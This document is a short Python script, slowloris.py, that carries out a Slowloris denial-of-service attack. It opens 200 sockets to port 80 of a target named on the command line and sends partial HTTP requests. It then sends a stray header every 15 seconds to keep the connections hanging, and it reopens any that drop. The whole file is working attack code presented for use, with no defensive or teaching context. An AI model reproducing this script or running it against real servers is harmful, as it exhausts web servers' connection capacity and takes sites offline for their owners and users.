slowloris.py

import socket

import random

import time

import sys

log_level = 2

def log(text, level=1):

    if log_level >= level:

        print(text)

list_of_sockets = []

regular_headers = [

    "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",

    "Accept-language: en-US,en,q=0.5"

]

def init_socket(ip):

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.settimeout(4)

    s.connect((ip,80))

    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))

    for header in regular_headers:

        s.send("{}\r\n".format(header).encode("utf-8"))

    return s

def main():

    if len(sys.argv) != 2:

        print("Usage: {} example.com".format(sys.argv[0]))

        return

    ip = sys.argv[1]

    socket_count = 200

    log("Attacking {} with {} sockets.".format(ip, socket_count))

    log("Creating sockets...")

    for _ in range(socket_count):

        try:

            log("Creating socket nr {}".format(_), level=2)

            s = init_socket(ip)

        except socket.error:

            break

        list_of_sockets.append(s)

    while True:

        log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))

        for s in list_of_sockets:

            try:

                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))

            except socket.error:

                list_of_sockets.remove(s)

        for i in range(socket_count - len(list_of_sockets)):

            log("Recreating socket...")

            try:

                s = init_socket(ip)

                if s:

                    list_of_sockets.append(s)

            except:

                pass

        time.sleep(15)